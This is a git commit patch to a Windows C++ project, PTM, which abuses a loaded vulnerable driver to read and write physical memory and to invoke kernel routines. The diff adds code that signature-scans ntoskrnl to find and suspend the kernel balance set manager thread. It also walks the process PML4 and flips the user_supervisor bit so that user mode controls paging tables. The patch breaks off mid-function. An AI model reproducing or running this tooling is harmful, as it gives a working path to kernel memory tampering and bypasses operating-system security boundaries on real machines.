From 3fe61c59bb817dcb7ba04976a18e960a12b650af Mon Sep 17 00:00:00 2001 From: _xeroxz Date: Thu, 26 Nov 2020 05:46:55 +0000 Subject: [PATCH] Testing --- PTM/PTM.vcxproj | 7 +- PTM/PTM.vcxproj.filters | 20 ++++- PTM/icon.ico | Bin 0 -> 22740 bytes PTM/icon.rc | 3 + PTM/main.cpp | 81 +++++++++++++++--- PTM/mem_ctx/mem_ctx.cpp | 109 +++++++++++++------------ PTM/mem_ctx/mem_ctx.hpp | 23 ++---- PTM/set_mgr/set_mgr.cpp | 77 +++++++++++++++++ PTM/set_mgr/set_mgr.hpp | 18 ++++ PTM/util/nt.hpp | 2 +- PTM/util/util.hpp | 50 ++++++++++++ PTM/vdm_ctx/vdm_ctx.cpp | 46 +++++++++-- PTM/vdm_ctx/{vdm_ctx.h => vdm_ctx.hpp} | 61 +++++++------- 13 files changed, 378 insertions(+), 119 deletions(-) create mode 100644 PTM/icon.ico create mode 100644 PTM/icon.rc create mode 100644 PTM/set_mgr/set_mgr.cpp create mode 100644 PTM/set_mgr/set_mgr.hpp rename PTM/vdm_ctx/{vdm_ctx.h => vdm_ctx.hpp} (73%) diff --git a/PTM/PTM.vcxproj b/PTM/PTM.vcxproj index 2bcbf73..1c69570 100644 --- a/PTM/PTM.vcxproj +++ b/PTM/PTM.vcxproj @@ -144,16 +144,21 @@ + + - + + + + diff --git a/PTM/PTM.vcxproj.filters b/PTM/PTM.vcxproj.filters index ae710a4..9d3ae23 100644 --- a/PTM/PTM.vcxproj.filters +++ b/PTM/PTM.vcxproj.filters @@ -15,6 +15,9 @@ {96d7e756-9d5b-4c3c-b594-aff6db3f2d51} + + {e1778cd8-6b3a-43dc-a95c-7b6f0896373e} + @@ -26,6 +29,9 @@ Source Files + + Source Files + @@ -40,14 +46,22 @@ Header Files\vdm - - Header Files - Header Files Header Files\util + + Header Files + + + Header Files + + + + + resources + \ No newline at end of file diff --git a/PTM/icon.ico b/PTM/icon.ico new file mode 100644 index 0000000000000000000000000000000000000000..df1d3aa5e42c0d32cf7b8b4cb7c65cc414973644 GIT binary patch literal 22740 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 bool + { + return vdm::read_phys(addr, buffer, size); + }; - const auto ntoskrnl_base = - reinterpret_cast( - util::get_kmodule_base("ntoskrnl.exe")); + vdm::write_phys_t _write_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return vdm::write_phys(addr, buffer, size); + }; - const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base); - std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present); - std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn); - std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page); + vdm::vdm_ctx vdm(_read_phys, _write_phys); + nasa::mem_ctx my_proc(&vdm); + const auto set_mgr_pethread = + set_mgr::get_setmgr_pethread(vdm); + + const auto result = + set_mgr::stop_setmgr(vdm, set_mgr_pethread); + + std::printf("[+] stop set mgr thread result -> 0x%x (0 == STATUS_SUCCESS)\n", result); if (!vdm::unload_drv(drv_handle, drv_key)) { std::printf("[!] unable to unload vulnerable driver...\n"); return -1; } + _read_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return my_proc.read_phys(addr, buffer, size); + }; + + _write_phys = + [&](void* addr, void* buffer, std::size_t size) -> bool + { + return my_proc.write_phys(addr, buffer, size); + }; + + std::printf("[+] sleeping 30 seconds...\n"); + Sleep(30000); + + // abuse test, make a vdm using a mem_ctx... + vdm = vdm::vdm_ctx(_read_phys, _write_phys); + + const auto current_pml4 = + reinterpret_cast( + my_proc.set_page(my_proc.dirbase)); + + for (auto idx = 0u; idx < 512; ++idx) + { + if (current_pml4[idx].present) + { + std::printf("pml4e at -> 0x%d (0x%p)\n", idx, + reinterpret_cast(my_proc.dirbase) + idx * sizeof pml4e); + + std::printf(" - pfn: 0x%x\n", current_pml4[idx].pfn); + std::printf(" - writeable: %d\n", current_pml4[idx].writeable); + std::printf(" - executable: %d\n", !current_pml4[idx].nx); + + if (current_pml4[idx].pfn == reinterpret_cast(my_proc.dirbase) >> 12) + { + std::printf(" [!]<- self referencing pml4e found at index: %d ->[!]\n", idx); + current_pml4[idx].user_supervisor = true; // you can manage your own paging tables now :^) + } + } + } + + const auto ntoskrnl_base = + reinterpret_cast( + util::get_kmodule_base("ntoskrnl.exe")); + + const auto ntoskrnl_pde = + my_proc.get_pde(ntoskrnl_base); + + std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present); + std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn); + std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page); std::printf("[+] press any key to close...\n"); std::getchar(); } \ No newline at end of file diff --git a/PTM/mem_ctx/mem_ctx.cpp b/PTM/mem_ctx/mem_ctx.cpp index 7482e49..23889e0 100644 --- a/PTM/mem_ctx/mem_ctx.cpp +++ b/PTM/mem_ctx/mem_ctx.cpp @@ -2,19 +2,19 @@ namespace nasa { - mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid) + mem_ctx::mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid) : - v_ctx(&v_ctx), - dirbase(get_dirbase(v_ctx, pid)), + v_ctx(v_ctx), + dirbase(get_dirbase(*v_ctx, pid)), pid(pid) { // find an empty pml4e inside of current processes pml4... const auto current_pml4 = - v_ctx.get_virtual(reinterpret_cast( - get_dirbase(v_ctx, GetCurrentProcessId()))); + v_ctx->get_virtual(reinterpret_cast( + get_dirbase(*v_ctx, GetCurrentProcessId()))); for (auto idx = 100u; idx > 0u; --idx) - if (!v_ctx.rkm(current_pml4 + (idx * sizeof pml4e)).value) + if (!v_ctx->rkm(current_pml4 + (idx * sizeof pml4e)).present) this->pml4e_index = idx; // allocate a pdpt @@ -31,13 +31,17 @@ namespace nasa // get page table entries for new pdpt pt_entries new_pdpt_entries; hyperspace_entries(new_pdpt_entries, new_pdpt.second); - this->new_pdpt.first = reinterpret_cast(new_pdpt_entries.pt.second.pfn << 12); + + this->new_pdpt.first = + reinterpret_cast( + new_pdpt_entries.pt.second.pfn << 12); // make a new pml4e that points to our new pdpt. new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn; // set the pml4e to point to the new pdpt - set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true); + set_pml4e(reinterpret_cast<::ppml4e>(this->dirbase) + + this->pml4e_index, new_pdpt_entries.pml4.second, true); // make a new pd this->new_pd.second = @@ -54,7 +58,10 @@ namespace nasa // get paging table entries for pd pt_entries new_pd_entries; hyperspace_entries(new_pd_entries, this->new_pd.second); - this->new_pd.first = reinterpret_cast(new_pd_entries.pt.second.pfn << 12); + + this->new_pd.first = + reinterpret_cast( + new_pd_entries.pt.second.pfn << 12); // make a new pt this->new_pt.second = @@ -71,7 +78,10 @@ namespace nasa // get paging table entries for pt pt_entries new_pt_entries; hyperspace_entries(new_pt_entries, this->new_pt.second); - this->new_pt.first = reinterpret_cast(new_pt_entries.pt.second.pfn << 12); + + this->new_pt.first = + reinterpret_cast( + new_pt_entries.pt.second.pfn << 12); } mem_ctx::~mem_ctx() @@ -144,7 +154,30 @@ namespace nasa new_addr.pd_index = this->pde_index; new_addr.pt_index = this->pte_index; new_addr.offset = this->page_offset; - return new_addr.value; + + // handle TLB issues, the TLB might need to be flushed for this entry... + __try + { + *(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value; + return new_addr.value; + } + __except (EXCEPTION_EXECUTE_HANDLER) + { + while (true) + { + while (!SwitchToThread()) + continue; + + __try + { + *(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value; + return new_addr.value; + } + __except(EXCEPTION_EXECUTE_HANDLER) + {} + } + } + return {}; } void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid) @@ -153,7 +186,8 @@ namespace nasa reinterpret_cast( v_ctx.get_peprocess(pid)); - return v_ctx.rkm(peproc + 0x28); + return reinterpret_cast( + v_ctx.rkm(peproc + 0x28).pfn << 12); } bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr) @@ -371,10 +405,10 @@ namespace nasa } } - void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) + bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size) { if (!buffer || !addr || !size) - return; + return false; const auto temp_page = set_page(addr); __try @@ -382,13 +416,16 @@ namespace nasa memcpy(buffer, temp_page, size); } __except (EXCEPTION_EXECUTE_HANDLER) - {} + { + return false; + } + return true; } - void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) + bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size) { if (!buffer || !addr || !size) - return; + return false; const auto temp_page = set_page(addr); __try @@ -396,7 +433,10 @@ namespace nasa memcpy(temp_page, buffer, size); } __except (EXCEPTION_EXECUTE_HANDLER) - {} + { + return false; + } + return true; } void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr) @@ -445,37 +485,4 @@ namespace nasa return reinterpret_cast((pte.pfn << 12) + virt_addr.offset); } - - unsigned mem_ctx::get_pid() const - { - return pid; - } - - void* mem_ctx::get_dirbase() const - { - return dirbase; - } - - pml4e mem_ctx::operator[](std::uint16_t pml4_idx) - { - return read_phys<::pml4e>(reinterpret_cast(this->dirbase) + pml4_idx); - } - - pdpte mem_ctx::operator[](const std::pair& entry_idx) - { - const auto pml4_entry = this->operator[](entry_idx.first); - return read_phys<::pdpte>(reinterpret_cast(pml4_entry.pfn << 12) + entry_idx.second); - } - - pde mem_ctx::operator[](const std::tuple& entry_idx) - { - const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) }); - return read_phys<::pde>(reinterpret_cast(pdpt_entry.pfn << 12) + std::get<2>(entry_idx)); - } - - pte mem_ctx::operator[](const std::tuple& entry_idx) - { - const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) }); - return read_phys<::pte>(reinterpret_cast(pd_entry.pfn << 12) + std::get<3>(entry_idx)); - } } \ No newline at end of file diff --git a/PTM/mem_ctx/mem_ctx.hpp b/PTM/mem_ctx/mem_ctx.hpp index 89c2b2c..602224c 100644 --- a/PTM/mem_ctx/mem_ctx.hpp +++ b/PTM/mem_ctx/mem_ctx.hpp @@ -1,13 +1,13 @@ #pragma once #include "../util/nt.hpp" -#include "../vdm_ctx/vdm_ctx.h" +#include "../vdm_ctx/vdm_ctx.hpp" namespace nasa { class mem_ctx { public: - explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId()); + explicit mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid = GetCurrentProcessId()); ~mem_ctx(); auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair; @@ -21,12 +21,10 @@ namespace nasa auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair; void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false); - - void* get_dirbase() const; static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid); - void read_phys(void* buffer, void* addr, std::size_t size); - void write_phys(void* buffer, void* addr, std::size_t size); + bool read_phys(void* buffer, void* addr, std::size_t size); + bool write_phys(void* buffer, void* addr, std::size_t size); template __forceinline T read_phys(void* addr) @@ -60,19 +58,15 @@ namespace nasa } void* virt_to_phys(pt_entries& entries, void* addr); + bool hyperspace_entries(pt_entries& entries, void* addr); + void* set_page(void* addr); void* get_page() const; - unsigned get_pid() const; - - pml4e operator[](std::uint16_t pml4_idx); - pdpte operator[](const std::pair& entry_idx); - pde operator[](const std::tuple& entry_idx); - pte operator[](const std::tuple& entry_idx); - private: - bool hyperspace_entries(pt_entries& entries, void* addr); + unsigned pid; void* dirbase; vdm::vdm_ctx* v_ctx; + private: std::uint16_t pml4e_index, pdpte_index, pde_index, @@ -82,6 +76,5 @@ namespace nasa std::pair new_pdpt; std::pair new_pd; std::pair new_pt; - unsigned pid; }; } \ No newline at end of file diff --git a/PTM/set_mgr/set_mgr.cpp b/PTM/set_mgr/set_mgr.cpp new file mode 100644 index 0000000..e2fd1c6 --- /dev/null +++ b/PTM/set_mgr/set_mgr.cpp @@ -0,0 +1,77 @@ +#include "set_mgr.hpp" + +namespace set_mgr +{ + auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD + { + ULONG return_len = 0u; + std::size_t alloc_size = 0x1000u; + auto process_info = reinterpret_cast(malloc(alloc_size)); + + while (NtQuerySystemInformation + ( + SystemProcessInformation, + process_info, + alloc_size, + &return_len + ) == STATUS_INFO_LENGTH_MISMATCH) + process_info = reinterpret_cast( + realloc(process_info, alloc_size += 0x1000)); + + const auto og_ptr = process_info; + while (process_info && process_info->UniqueProcessId != (HANDLE)4) + process_info = reinterpret_cast( + reinterpret_cast(process_info) + process_info->NextEntryOffset); + + auto thread_info = reinterpret_cast( + reinterpret_cast(process_info) + sizeof SYSTEM_PROCESS_INFORMATION); + + static const auto ntoskrnl_base = + util::get_kmodule_base("ntoskrnl.exe"); + + const auto [ke_balance_um, ke_balance_rva] = + util::memory::sig_scan( + KE_BALANCE_SIG, KE_BALANCE_MASK); + + auto rip_rva = *reinterpret_cast(ke_balance_um + 19); + const auto ke_balance_set = ntoskrnl_base + ke_balance_rva + 23 + rip_rva; + + const auto [suspend_in_um, suspend_rva] = + util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK); + + rip_rva = *reinterpret_cast(suspend_in_um + 1); + const auto ps_suspend_thread = reinterpret_cast(ntoskrnl_base + rip_rva + 5 + suspend_rva); + + static const auto lookup_pethread = + util::get_kmodule_export("ntoskrnl.exe", "PsLookupThreadByThreadId"); + + for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx) + { + if (thread_info[idx].StartAddress == reinterpret_cast(ke_balance_set)) + { + PETHREAD pethread; + auto result = v_ctx.syscall( + lookup_pethread, thread_info[idx].ClientId.UniqueThread, &pethread); + + free(og_ptr); + return pethread; + } + } + + free(og_ptr); + return {}; + } + + auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS + { + static const auto ntoskrnl_base = + util::get_kmodule_base("ntoskrnl.exe"); + + const auto [suspend_in_um, suspend_rva] = + util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK); + + const auto rip_rva = *reinterpret_cast(suspend_in_um + 1); + const auto ps_suspend_thread = reinterpret_cast(ntoskrnl_base + rip_rva + 5 + suspend_rva); + return v_ctx.syscall(ps_suspend_thread, pethread, nullptr); + } +} \ No newline at end of file diff --git a/PTM/set_mgr/set_mgr.hpp b/PTM/set_mgr/set_mgr.hpp new file mode 100644 index 0000000..5b99746 --- /dev/null +++ b/PTM/set_mgr/set_mgr.hpp @@ -0,0 +1,18 @@ +#pragma once +#include "../vdm_ctx/vdm_ctx.hpp" + +using PETHREAD = PVOID; +using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG); +using PsLookupThreadByThreadId = NTSTATUS(*)(HANDLE, PETHREAD*); + +#define KE_BALANCE_SIG "\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8B\x88\x00\x00\x00\x00\x48\x8D\x05" +#define KE_BALANCE_MASK "xxxxx????xxx????xxx" + +#define SUSPEND_THREAD_SIG "\xE8\x00\x00\x00\x00\x8B\xF8\xBA\x50\x73\x53\x75" +#define SUSPEND_THREAD_MASK "x????xxxxxxx" + +namespace set_mgr +{ + auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD; + auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread)->NTSTATUS; +} \ No newline at end of file diff --git a/PTM/util/nt.hpp b/PTM/util/nt.hpp index 3a4c26e..cdf2f8c 100644 --- a/PTM/util/nt.hpp +++ b/PTM/util/nt.hpp @@ -97,7 +97,7 @@ typedef union _pml4e struct { std::uint64_t present : 1; // Must be 1, region invalid if 0. - std::uint64_t ReadWrite : 1; // If 0, writes not allowed. + std::uint64_t writeable : 1; // If 0, writes not allowed. std::uint64_t user_supervisor : 1; // If 0, user-mode accesses not allowed. std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT. std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT. diff --git a/PTM/util/util.hpp b/PTM/util/util.hpp index 4c5606b..1efdbd2 100644 --- a/PTM/util/util.hpp +++ b/PTM/util/util.hpp @@ -293,4 +293,54 @@ namespace util } return NULL; } + + namespace memory + { + template + __forceinline auto sig_scan(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) -> std::pair + { + static const auto ntoskrnl_module = + LoadLibraryEx( + "ntoskrnl.exe", + NULL, + 